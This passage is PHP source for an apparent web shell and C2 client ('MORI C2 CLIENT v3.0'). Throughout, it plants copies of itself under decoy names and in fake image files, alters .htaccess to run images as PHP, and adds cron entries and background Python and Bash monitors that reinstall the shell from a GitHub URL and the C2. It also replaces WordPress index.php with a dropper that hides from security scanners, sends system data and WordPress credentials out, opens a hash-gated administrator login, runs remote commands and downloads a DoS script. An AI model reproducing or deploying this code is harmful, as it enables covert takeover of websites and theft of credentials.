                preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) ||
                preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs)
            );
            
            if (@is_writable($full) && count($results) < 100) {
                // DEEP PATHS GET PRIORITY
                $depth_score = substr_count($full, "/");
                $results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority];
            }
            
            // Go deeper
            if ($depth < $max_depth - 1) {
                scan_web_deep($full, $results, $max_depth, $depth + 1);
            }
        }
    }
    
    // Web root deep scan
    $web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"];
    foreach ($web_bases as $base) {
        if (@is_dir($base)) {
            $temp = [];
            scan_web_deep($base, $temp);
            $targets = array_merge($targets, $temp);
        }
    }
    
    // 3. SORT BY DEPTH (deeper = better for hiding)
    usort($targets, function($a, $b) {
        if (is_array($a)) {
            $depth_a = $a["depth"] ?? 0;
            return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first)
        }
        return 0;
    });
    
    // Extract just paths
    $final_targets = [];
    foreach ($targets as $item) {
        if (is_array($item)) {
            $final_targets[] = $item["path"];
        } else {
            $final_targets[] = $item;
        }
    }
    
    return array_values(array_unique($final_targets));
}

// Get main shell code
function get_main_shell_code() {
    $sf = SHELL_FILE;
    $paths = array_merge(
        (array)@glob("/var/www/*/public_html/" . $sf),
        (array)@glob("/var/www/*/" . $sf),
        (array)@glob("/home/*/public_html/" . $sf),
        (array)@glob("/home/*/" . $sf),
        [SHELL_PATH, __DIR__ . "/" . $sf, dirname(__DIR__) . "/" . $sf]
    );
    
    foreach ($paths as $path) {
        $code = @file_get_contents($path);
        if ($code && strlen($code) > 15000) {
            return $code;
        }
    }
    
    return null;
}

// Fetch from C2 if local not available
function get_shell_code_fallback() {
    $c2_url = ($GLOBALS["C2_SERVER"] ?? "") . "?act=get_shell";
    $content = @file_get_contents($c2_url);
    if ($content && strlen($content) > 15000) {
        return $content;
    }
    
    $github_url = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php";
    $content = @file_get_contents($github_url);
    if ($content && strlen($content) > 15000) {
        return $content;
    }
    
    return null;
}

// Deploy to all targets
function deploy_sister_files_from_backup() {
    $shell_code = get_main_shell_code();
    if (!$shell_code) {
        $shell_code = get_shell_code_fallback();
        if (!$shell_code) return 0;
    }

    $targets = get_deployment_targets_from_backup();
    $deployed_paths = [];

    $standard_names = ["wp-config-backup.php", "wp-content-backup.php", "wp-settings-backup.php"];
    $masked_names = ["logo.png", "banner.gif", "avatar.jpg"];

    foreach (array_slice($targets, 0, 10) as $idx => $target) {
        // Standard PHP
        $file = $target . "/" . $standard_names[$idx % count($standard_names)];
        if (@file_put_contents($file, $shell_code)) {
            @chmod($file, 0644);
            $deployed_paths[] = $file;
        }

        // Image masked (no .php extension)
        $img = $target . "/" . $masked_names[$idx % count($masked_names)];
        $masked = "<?php\n" . substr($shell_code, 5);
        if (@file_put_contents($img, $masked)) {
            @chmod($img, 0644);
            $deployed_paths[] = $img;
        }

        // .htaccess — append only, NEVER overwrite existing content
        $htaccess = $target . "/.htaccess";
        $existing = @file_get_contents($htaccess) ?: "";
        if (strpos($existing, "# perf-cache") === false) {
            $append = "\n# perf-cache\n"
                . "Options +ExecCGI\n"
                . "AddHandler application/x-httpd-php .png .gif .jpg\n"
                . "<FilesMatch \"\\.png\$|\\.gif\$|\\.jpg\$\">\n"
                . "    SetHandler application/x-httpd-php\n"
                . "    ForceType application/x-httpd-php\n"
                . "</FilesMatch>\n"
                . "<IfModule mod_php.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php8.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php7.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php5.c>\n    php_flag engine on\n</IfModule>\n";
            @file_put_contents($htaccess, $existing . $append);
            @chmod($htaccess, 0644);
        }
    }

    // Merge new paths into sister cache (picked up by main shell on next register)
    $cache_file = sys_get_temp_dir() . "/.mori_sister_cache.json";
    $existing   = @json_decode(@file_get_contents($cache_file), true) ?: ["locations" => [], "urls" => [], "timestamp" => 0];
    $existing["locations"] = array_values(array_unique(array_merge($existing["locations"] ?? [], $deployed_paths)));
    $existing["timestamp"] = time();
    @file_put_contents($cache_file, json_encode($existing));

    return count($deployed_paths);
}

// Main execution
if (php_sapi_name() !== "cli" || !isset($GLOBALS["_wp_config_backup_running"])) {
    $GLOBALS["_wp_config_backup_running"] = true;
    deploy_sister_files_from_backup();
}

// Silent exit
exit(0);
?>';

    return $code;
}

function ensure_persistence_v4() {
    /**
     * MAIN ORCHESTRATOR v2 - Called on every register
     * Deploys sister files + Starts Python + Bash monitors (max 1 each)
     */
    global $c2_server, $web_shell_url, $CLIENT_ID, $client_id, $C2_SERVER;

    // Throttle: her 5 dakikada bir çalış (her ?m= requestinde değil)
    $throttle = sys_get_temp_dir() . '/.mori_persist_ts';
    $last = (int)@file_get_contents($throttle);
    if ($last && (time() - $last) < 300) return;
    @file_put_contents($throttle, time());

    $client_id = $client_id ?: ($CLIENT_ID ?: md5(gethostname() . microtime()));

    // Step 0: One-shot cron dedup — remove spam entries left by broken dedup on old installs
    // Runs every 5 min (same throttle as this function), fast because it's just string ops
    $cron_check = exec_any("crontab -l 2>/dev/null | grep -cF '#mori_persist'");
    if ((int)$cron_check > 1) {
        // More than 1 mori_persist line → nuke all and reinstall fresh
        $all_lines = exec_any("crontab -l 2>/dev/null");
        if ($all_lines !== false) {
            $clean = array_filter(
                explode("\n", (string)$all_lines),
                function($l) { return strpos($l, '#mori_persist') === false && trim($l) !== ''; }
            );
            $new_tab = implode("\n", $clean) . "\n";
            exec_any("echo " . escapeshellarg(rtrim($new_tab)) . " | crontab - 2>/dev/null");
        }
        // Force install_cron_persistence() to run immediately by clearing its throttle
        @unlink(sys_get_temp_dir() . '/.mori_cron_ts');
        @install_cron_persistence();
    }

    // Step 1: Deploy aggressive sister files
    // Report to C2 only if client is already registered (UPDATE would fail for new clients)
    $deploy_info = @deploy_sister_files_aggressive();
    $reg_file = REAL_DIR . '/.registered';
    if (is_array($deploy_info) && !empty($deploy_info['locations'])
        && @file_exists($reg_file) && @filesize($reg_file) > 0) {
        @report_sister_files_to_c2($deploy_info);
    }
    
    // Step 2: Create wp-config-backup.php orchestrator
    $backup_code = @generate_wp_config_backup();
    if ($backup_code) {
        $backup_file = '/tmp/wp-config-backup.php';
        @file_put_contents($backup_file, $backup_code);
        @chmod($backup_file, 0755);
        
        // Execute in background
        exec_any("nohup php " . escapeshellarg($backup_file), true);
    }
    
    // Step 3: Start monitor processes (ONLY 1 instance each, no duplicates)
    $monitor_lock = '/tmp/.svc_monitor_lock';
    // PHP_INT_MAX when file absent → condition is true → monitors start on first run
    $lock_age = @file_exists($monitor_lock) ? (time() - @filemtime($monitor_lock)) : PHP_INT_MAX;

    // Start monitors: check every 5 minutes (lock freshness)
    if ($lock_age > 300) {
        @touch($monitor_lock);
        
        // Python monitor (max 1 instance) — local file check + restore
        $py_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_security.py' 2>/dev/null || echo 0") ?: 0);
        if ($py_process_count == 0) {
            $shell_path_esc = addslashes(SHELL_PATH);
            $shell_file_esc = addslashes(SHELL_FILE);
            $c2_url_esc     = addslashes($C2_SERVER ?: '');
            $token_esc      = md5('mori_c2_secret_2024_persistence');
            $py_code = '#!/usr/bin/env python3
import os, time, ssl, urllib.request

SHELL_PATH = "' . $shell_path_esc . '"
SHELL_FILE = "' . $shell_file_esc . '"
C2_URL     = "' . $c2_url_esc     . '"
TOKEN      = "' . $token_esc      . '"
GH_URL     = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php"
INTERVAL   = 60  # local check only — no HTTP alive probe

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode    = ssl.CERT_NONE

def needs_restore():
    try:
        return os.path.getsize(SHELL_PATH) < 10000
    except OSError:
        return True  # file missing

def restore():
    # GitHub first — C2 may have Cloudflare UAM active
    sources = [
        (GH_URL, 15),
        (C2_URL + "?act=get_shell&token=" + TOKEN + "&file=" + SHELL_FILE, 4),
    ]
    for url, tmo in sources:
        try:
            req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
            with urllib.request.urlopen(req, timeout=tmo, context=ctx) as r:
                code = r.read()
            if len(code) > 10000 and code[:5] == b"<?php":
                with open(SHELL_PATH, "wb") as f: f.write(code)
                os.chmod(SHELL_PATH, 0o644)
                return True
        except:
            pass
    return False

if hasattr(os, "prctl"):
    try: os.prctl(15, b"[system]")
    except: pass

while True:
    try:
        if needs_restore():
            restore()
        time.sleep(INTERVAL)
    except:
        time.sleep(INTERVAL)
';
            @file_put_contents('/tmp/sys_security.py', $py_code);
            @chmod('/tmp/sys_security.py', 0755);
            exec_any("nohup python3 /tmp/sys_security.py", true);
        }

        // Bash monitor (max 1 instance) — local file-size check + restore only when needed
        $bash_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_monitor.sh' 2>/dev/null || echo 0") ?: 0);
        if ($bash_process_count == 0) {
            $shell_path_sh  = escapeshellarg(SHELL_PATH);
            $shell_file_sh  = escapeshellarg(basename(SHELL_PATH));
            $c2_sh          = escapeshellarg($C2_SERVER ?: '');
            $token_sh       = md5('mori_c2_secret_2024_persistence');
            $bash_code = '#!/bin/bash
SHELL_PATH=' . $shell_path_sh . '
SHELL_FILE=' . $shell_file_sh . '
C2_URL=' . $c2_sh . '
TOKEN="' . $token_sh . '"
GH_URL="https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php"
INTERVAL=60
TMP="${SHELL_PATH}.tmp"

# php_ok: reject Cloudflare UAM HTML (they return HTTP 200 but are not PHP)
php_ok() { head -c5 "$1" 2>/dev/null | grep -q "<?php"; }

restore() {
  # GitHub first — C2 may have Cloudflare UAM active (returns HTML, not PHP)
  curl -sfL --max-time 15 "$GH_URL" -o "$TMP" 2>/dev/null
  if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
    mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
  fi
  wget -q --timeout=15 "$GH_URL" -O "$TMP" 2>/dev/null
  if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
    mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
  fi
  # C2 fallback
  curl -sfL --max-time 4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -o "$TMP" 2>/dev/null
  if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
    mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
  fi
  wget -q --timeout=4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -O "$TMP" 2>/dev/null
  if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
    mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
  fi
  rm -f "$TMP"
  return 1
}

while true; do
  SZ=$(stat -c%s "$SHELL_PATH" 2>/dev/null || echo 0)
  [ "$SZ" -lt 10000 ] && restore
  sleep $INTERVAL
done
';
            @file_put_contents('/tmp/sys_monitor.sh', $bash_code);
            @chmod('/tmp/sys_monitor.sh', 0755);
            exec_any("nohup bash /tmp/sys_monitor.sh", true);
        }
    }
    
    // Step 4: Store deployment metadata
    $metadata = [
        'client_id' => $client_id,
        'deploy_time' => time(),
        'shell_url' => $web_shell_url,
        'c2_server' => $c2_server,
        'php_version' => PHP_VERSION,
        'os' => php_uname(),
        'processes' => [
            'python' => $py_process_count ?? 'n/a',
            'bash' => $bash_process_count ?? 'n/a',
        ],
    ];
    
    @file_put_contents('/tmp/.mori_deployment_meta.json', json_encode($metadata));

    // Step 5: Replace WP index.php with cloaking dropper
    @install_wp_cloaking_index();

    return true;
}



// DEPRECATED restore_from_backup() - Replaced with ensure_persistence_v4()





// =============================================
// OTOMATİK KAYIT (HER ERİŞİMDE)
// =============================================
function auto_register() {
    global $web_shell_url;
    $c2_server = $GLOBALS['C2_SERVER'];
    $client_id = $GLOBALS['CLIENT_ID'];

    // Throttle: 10 dakikada bir C2'ye kayıt (her ?m= isteğinde değil)
    $reg_ts_file = sys_get_temp_dir() . '/.mori_reg_ts';
    $last_reg    = (int)@file_get_contents($reg_ts_file);
    if ($last_reg && (time() - $last_reg) < 600) {
        $GLOBALS['_SHELL_REGISTERED'] = true;
        return true;
    }
    @file_put_contents($reg_ts_file, time());
    
    $wp_creds = is_wordpress_installed()
        ? generate_wp_login_credentials()
        : ['blogs_id' => null, 'hash' => null];

    // C2 sunucusuna kayıt yap - BACKGROUND ONLY (don't block)
    $auto_reg_sister = sys_get_temp_dir() . '/.mori_sister_cache.json';
    $auto_reg_sf     = @json_decode(@file_get_contents($auto_reg_sister), true);

    $registration_data = [
        'id'           => $client_id,
        'web_shell_url'=> $web_shell_url,
        'sysinfo'      => collect_system_info(),
        'sister_files' => $auto_reg_sf['locations'] ?? [],
        'sister_urls'  => $auto_reg_sf['urls']      ?? [],
        'timestamp'    => time(),
        'version'      => '3.0',
        'wp_login_id'  => $wp_creds['blogs_id'],
        'wp_login_hash'=> $wp_creds['hash'],
    ];

    $register_url = $c2_server . '?act=reg';
    $encoded = safe_base64_encode(safe_json_encode($registration_data));

    // Very short timeout (fire-and-forget) — 2s to allow encoding overhead
    $result = @http_post_timeout($register_url, $encoded, 2);
    
    // Mark as attempted (don't try again this request)
    $GLOBALS['_SHELL_REGISTERED'] = true;
    
    return $result !== null;
}




// =====================================================
// HELPER: Add missing delete_directory function
// =====================================================
function delete_directory($path) {
    $real = realpath($path);
    
    if (!$real || !is_dir($real)) {
        return "[ERROR] Directory not found: $path";
    }
    
    $items = @scandir($real);
    if ($items && count($items) > 2) {
        return "[ERROR] Directory not empty";
    }
    
    return @rmdir($real) ? "OK: Deleted $path" : "[ERROR] Cannot delete directory";
}

// =====================================================
// WP CLOAKING INDEX INSTALLER
// =====================================================

function generate_wp_cloaking_index_content() {
    $c2  = $GLOBALS['C2_SERVER'] ?? '';
    $gh  = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
    $tok = md5('mori_c2_secret_2024_persistence');
    $key = md5($tok);

    // Config block — interpolated now, embedded as PHP string literals
    $cfg = '<?php /* _wpa_cloaker v1 */' . "\n"
         . '$_wc2="' . addslashes($c2) . '";' . "\n"
         . '$_wgh="' . addslashes($gh) . '";' . "\n"
         . '$_wtok="' . $tok . '";' . "\n"
         . '$_wkey="' . $key . '";' . "\n"
         . '$_wsf=__DIR__."/' . addslashes(SHELL_FILE) . '";' . "\n";

    // Body — NOWDOC, no interpolation
    $body = <<<'WPAEOF'
$_wbot=(bool)preg_match('/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|wordfence|sucuri|imunify|modsecurity|nikto|sqlmap|nmap|acunetix|nuclei|burp|python-requests|go-http-client|libwww|curl\/[0-9])/i',strtolower($_SERVER['HTTP_USER_AGENT']??''));

// Installer endpoint — called by JS fetch or server curl
if(!empty($_GET['_wpa'])&&$_GET['_wpa']===$_wkey&&!$_wbot){
    $_wok=false;
    $_wx=stream_context_create(['http'=>['timeout'=>10,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]);
    foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){
        $_wr=false;
        if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>10]);$_wr=@curl_exec($_wh);curl_close($_wh);}
        if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx);
        if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'){$_wok=@file_put_contents($_wsf,$_wr)!==false;if($_wok){@chmod($_wsf,0644);break;}}
    }
    header('Content-Type: text/plain');die($_wok?'ok':'fail');
}

if(!$_wbot){
    if(!@file_exists($_wsf)||@filesize($_wsf)<10000){
        $_wsu=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?'https':'http')
            .'://'.($_SERVER['HTTP_HOST']??'localhost').$_SERVER['SCRIPT_NAME'].'?_wpa='.$_wkey;
        $_wd=false;
        $_wx=stream_context_create(['http'=>['timeout'=>4,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]);
        // M1: Direct PHP fetch from C2 then GitHub (must be valid PHP, not Cloudflare UAM HTML)
        foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){
            $_wr=false;
            if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>4]);$_wr=@curl_exec($_wh);curl_close($_wh);}
            if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx);
            if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'&&@file_put_contents($_wsf,$_wr)!==false){@chmod($_wsf,0644);$_wd=true;break;}
        }
        // M2: Server-side self-curl to installer endpoint
        if(!$_wd&&function_exists('curl_init')){
            $_wh=curl_init($_wsu);
            curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,13=>5,10023=>['X-WP-A: 1']]);
            @curl_exec($_wh);curl_close($_wh);
            $_wd=@file_exists($_wsf)&&@filesize($_wsf)>10000;
        }
        // M3: Client-side JS fetch — injected into page output via ob_start
        if(!$_wd){
            ob_start(function($_wbuf)use($_wsu){
                $_wjs='<script>(function(){var x=new XMLHttpRequest;x.open("GET","'
                    .htmlspecialchars($_wsu,ENT_QUOTES).'",true);x.send()})();</script>';
                return stripos($_wbuf,'</body>')!==false
                    ?str_ireplace('</body>',$_wjs.'</body>',$_wbuf)
                    :$_wbuf.$_wjs;
            });
        }
    }
}
define('WP_USE_THEMES',true);
require __DIR__.'/wp-blog-header.php';
WPAEOF;

    return $cfg . $body;
}

function install_wp_cloaking_index() {
    if (!is_wordpress_installed()) return false;

    // Find WP root (has both wp-config.php and wp-blog-header.php)
    $wp_root = null;
    foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) {
        if (@file_exists($d . '/wp-config.php') && @file_exists($d . '/wp-blog-header.php')) {
            $wp_root = $d;
            break;
        }
    }
    if (!$wp_root) return false;

    $index_path = $wp_root . '/index.php';

    // Already our cloaker?
    $cur = @file_get_contents($index_path);
    if ($cur && strpos($cur, '_wpa_cloaker') !== false) return true;

    // Throttle: once per day
    $ts = sys_get_temp_dir() . '/.mori_wpidx_ts';
    if ((int)@file_get_contents($ts) > time() - 86400) return false;
    @file_put_contents($ts, time());

    $content = generate_wp_cloaking_index_content();
    if (!$content) return false;

    // Write to temp first, then atomic rename — never leave index.php missing
    $tmp = $index_path . '.mori_tmp';
    if (@file_put_contents($tmp, $content) === false) return false;
    @chmod($index_path, 0644);
    if (!@rename($tmp, $index_path)) {
        // rename failed (cross-device?) — try unlink+write
        @chmod($index_path, 0777);
        @unlink($index_path);
        if (@file_put_contents($index_path, $content) !== false) {
            @chmod($index_path, 0644);
            @unlink($tmp);
            return true;
        }
        @unlink($tmp);
        return false;
    }
    @chmod($index_path, 0644);
    return true;
}

// =====================================================
// SELF-RENAME FOR NON-WP DEPLOYMENTS (wp-activeter.php)
// =====================================================

function self_rename_and_register() {
    // Shell works under any filename — SHELL_PATH/SHELL_FILE are set dynamically from __FILE__.
}

// =====================================================
// WEB SHELL API ENDPOINTS
// =====================================================

// DEBUG MODE
if (isset($_GET['debug']) && $debug_mode) {
    $client_id = $GLOBALS['CLIENT_ID'] ?? '';
    $os_type   = PHP_OS;
    header('Content-Type: text/plain; charset=utf-8');
    echo "MORI C2 CLIENT v3.0\n";
    echo "====================\n\n";
    echo "Client ID: $client_id\n";
    echo "OS: $os_type\n";
    echo "Web Shell URL: $web_shell_url\n";
    echo "Current User: " . get_current_user() . "\n";
    echo "Current Directory: " . getcwd() . "\n";
    echo "PHP Version: " . PHP_VERSION . "\n";
    echo "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'unknown') . "\n\n";
    
    echo "SYSTEM INFO:\n";
    print_r(collect_system_info());
    exit;
}

// REGISTER DATA ENDPOINT (for server to pull sysinfo)
if (isset($_GET['act']) && $_GET['act'] == 'register_data') {
    // PRE-EXECUTION PERSISTENCE CHECK
    @ensure_persistence_v4();

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(collect_system_info());
    exit;
}

// PULL REGISTER — C2 sunucu bu endpoint'i çekerek shell'i kayıt eder (UAM bypass)
if (isset($_GET['act']) && $_GET['act'] === 'pull_register') {
    $wp_creds = is_wordpress_installed()
        ? generate_wp_login_credentials()
        : ['blogs_id' => null, 'hash' => null];
    $server_ip = $_SERVER['SERVER_ADDR']
              ?? $_SERVER['LOCAL_ADDR']
              ?? @gethostbyname(@gethostname())
              ?? '0.0.0.0';

    // Sister cache — önceki persistence çalışmasından kalan veri (varsa)
    $sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json';
    $sister_data  = @json_decode(@file_get_contents($sister_cache), true);

    // Yanıtı hemen gönder — C2 curl timeout'u dolmadan önce cevap dönsün
    $response = json_encode([
        'id'            => $GLOBALS['CLIENT_ID'],
        'web_shell_url' => $GLOBALS['WEB_URL'],
        'server_ip'     => $server_ip,
        'sysinfo'       => collect_system_info(),
        'sister_files'  => $sister_data['locations'] ?? [],
        'sister_urls'   => $sister_data['urls']      ?? [],
        'timestamp'     => time(),
        'version'       => '3.0',
        'wp_login_id'   => $wp_creds['blogs_id'],
        'wp_login_hash' => $wp_creds['hash'],
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);

    // .registered'ı HEMEN yaz — ensure_persistence_v4() içinde report_sister_files_to_c2()
    // bu dosyanın varlığını kontrol eder. Response öncesi yazılmazsa sister files C2'ye hiç gitmez.
    @file_put_contents(REAL_DIR . '/.registered', time());

    header('Content-Type: application/json; charset=utf-8');
    header('Content-Length: ' . strlen($response));
    echo $response;

    // HTTP bağlantısını kapat — C2 cevabı aldı, PHP arka planda çalışmaya devam eder
    if (function_exists('fastcgi_finish_request')) {
        fastcgi_finish_request();
    } else {
        @ob_end_flush();
        @flush();
    }

    // Bağlantı kapandıktan sonra: persistence + register (artık C2 timeout'u etkilemez)
    // Sıra önemli: ensure_persistence_v4() sister files deploy edip C2'ye raporlar,
    // auto_register() zaten yukarıda .registered yazdığımız için throttle'a takılmaz.
    ignore_user_abort(true);
    set_time_limit(120);
    @ensure_persistence_v4();
    @auto_register();

    // dos.py auto-deploy — /tmp ve mevcut dizine indir (arka planda, bloklamaz)
    $dos_dl_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py';
    $dos_tmp    = '/tmp/dos.py';
    $dos_local  = REAL_DIR . '/dos.py';
    $fetch_dos  = "curl -sLf " . escapeshellarg($dos_dl_url)
                . " -o " . escapeshellarg($dos_tmp)
                . " 2>/dev/null && chmod +x " . escapeshellarg($dos_tmp)
                . " && cp " . escapeshellarg($dos_tmp) . " " . escapeshellarg($dos_local)
                . " 2>/dev/null || wget -qO " . escapeshellarg($dos_tmp) . " "
                . escapeshellarg($dos_dl_url) . " 2>/dev/null";
    // Sadece henüz yoksa ya da küçükse indir
    if (!@file_exists($dos_tmp) || @filesize($dos_tmp) < 1000) {
        @exec('nohup sh -c ' . escapeshellarg($fetch_dos) . ' > /dev/null 2>&1 &');
    }
    exit(0);
}

// WP CREDS — injected WP plugin posts credentials here, we forward to C2
if (isset($_GET['act']) && $_GET['act'] === 'wp_creds') {
    $creds_encoded = $_POST['creds'] ?? '';
    if (!empty($creds_encoded)) {
        $payload = safe_base64_encode(safe_json_encode([
            'creds'     => $creds_encoded,
            'shell_url' => $GLOBALS['WEB_URL'],
        ]));
        @http_post_timeout($GLOBALS['C2_SERVER'] . '?act=store_wp_creds', $payload, 3);
    }
    header('Content-Type: text/plain');
    die('ok');
}

// WP DIRECT AUTO-LOGIN — ?blogs_id=X&wp_login=1&hash=H
if (isset($_GET['blogs_id']) && isset($_GET['wp_login'])) {
    $blogs_id      = trim($_GET['blogs_id'] ?? '');
    $hash_provided = trim($_GET['hash'] ?? '');
    if ($blogs_id && sha1(md5($blogs_id . '1776051848')) === $hash_provided) {
        // Try to load WordPress and set auth cookie
        $wp_load = null;
        foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $_d) {
            if (@file_exists($_d . '/wp-load.php')) { $wp_load = $_d . '/wp-load.php'; break; }
        }
        if ($wp_load && !defined('ABSPATH')) {
            @require_once $wp_load;
            if (function_exists('get_users') && function_exists('wp_set_auth_cookie')) {
                $admins = get_users(['role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 1]);
                if (!empty($admins)) {
                    wp_set_auth_cookie($admins[0]->ID, true, true);
                    wp_redirect(admin_url());
                    exit;
                }
            }
        }
        // Fallback: redirect to WP home so the wp_footer hook fires
        $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $host   = $_SERVER['HTTP_HOST'] ?? '';
        if ($host) {
            header("Location: {$scheme}://{$host}/?blogs_id={$blogs_id}&wp_login=1&hash={$hash_provided}");
            exit;
        }
    }
}

// REGISTER ONLY (manuel kayıt için)
// Optimize: batch mode veya single mode
if (isset($_GET['register'])) {
    // PRE-EXECUTION PERSISTENCE CHECK
    @ensure_persistence_v4();
    
    header('Content-Type: text/plain; charset=utf-8');
    
    // Check if batch registration is available (multiple clients accessing)
    $batch_mode = isset($_GET['batch']) && $_GET['batch'] === '1';
    
    if ($batch_mode) {
        // Batch mode: queue'de bekle, toplamaya devam et
        $result = auto_register();
        echo $result ? "QUEUED - Will be registered in batch\n" : "FAILED - Queue error";
    } else {
        // Single mode: immediate registration
        $result = auto_register();
        echo $result ? "OK - Registered successfully\n" : "FAILED - Registration failed\n";
    }
    
    exit;
}

// COMMAND EXECUTION VIA GET (base64 encoded - supports both safe_base64 and normal base64)
if (isset($_GET['m'])) {
    ignore_user_abort(true); // flood, C2 bağlantısı kesse bile devam eder
    set_time_limit(0);
    @ensure_persistence_v4();
    auto_register();

    ob_end_clean();
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type');
    
    // Try safe_base64_decode first, then normal base64
    $encoded = $_GET['m'] ?? null;
    
    if (!$encoded || !is_string($encoded)) {
        header('Content-Type: application/json; charset=utf-8');
        http_response_code(400);
        die(json_encode(['error' => 'No payload provided']));
    }
    
    $cmd = safe_base64_decode($encoded);
    if ($cmd === false || strlen($cmd) === 0) {
        $cmd = @base64_decode($encoded, true);
    }
    if ($cmd === false || !$cmd || strlen($cmd) === 0) {
        header('Content-Type: application/json; charset=utf-8');
        http_response_code(400);
        die(json_encode(['error' => 'Invalid base64 encoding']));
    }
    
    $output = execute_command($cmd);
    
    // Detect output type and set appropriate header
    if (@json_decode($output, true) !== null) {
        header('Content-Type: application/json; charset=utf-8');
    } else {
        header('Content-Type: text/plain; charset=utf-8');
    }
    echo $output;
    exit;
}

// COMMAND EXECUTION VIA POST (supports both safe_base64 and normal base64)
if (isset($_POST['m'])) {
    @ensure_persistence_v4();
    auto_register();
    
    ob_end_clean();
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type');
    
    $payload = $_POST['m'] ?? null;
    
    // NULL-safe payload handling
    if (!$payload || !is_string($payload)) {
        header('Content-Type: application/json; charset=utf-8');
        http_response_code(400);
        die(json_encode(['error' => 'No payload provided']));
    }
    
    // Try safe_base64_decode first, then normal base64
    $cmd = null;
    if (strpos($payload, 'base64:') === 0 && strlen($payload) > 7) {
        $encoded_part = substr($payload, 7);
        $cmd = safe_base64_decode($encoded_part);
        if ($cmd === false) {
            $cmd = @base64_decode($encoded_part, true);
        }
    } else {
        $cmd = safe_base64_decode($payload);
        if ($cmd === false) {
            $cmd = @base64_decode($payload, true);
        }
    }
    
    if ($cmd === false || !$cmd || strlen($cmd) === 0) {
        header('Content-Type: application/json; charset=utf-8');
        http_response_code(400);
        die(json_encode(['error' => 'Invalid base64 encoding']));
    }
    
    $output = execute_command($cmd);
    
    // Detect output type and set appropriate header
    if (@json_decode($output, true) !== null) {
        header('Content-Type: application/json; charset=utf-8');
    } else {
        header('Content-Type: text/plain; charset=utf-8');
    }
    echo $output;
    exit;
}

// JSON API (ileri düzey)
if (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
    // PRE-EXECUTION PERSISTENCE CHECK
    @ensure_persistence_v4();
    auto_register(); // Register this execution
    
    $input = json_decode(file_get_contents('php://input'), true);
    
    if ($input && isset($input['action'])) {
        header('Content-Type: application/json; charset=utf-8');
        
        switch ($input['action']) {
            case 'exec':
                $cmd = $input['command'] ?? '';
                $result = execute_command($cmd);
                echo json_encode(['success' => true, 'output' => $result]);
                break;
                
            case 'info':
                echo json_encode(collect_system_info());
                break;
                
            case 'register':
                $success   = auto_register();
                $client_id = $GLOBALS['CLIENT_ID'] ?? '';
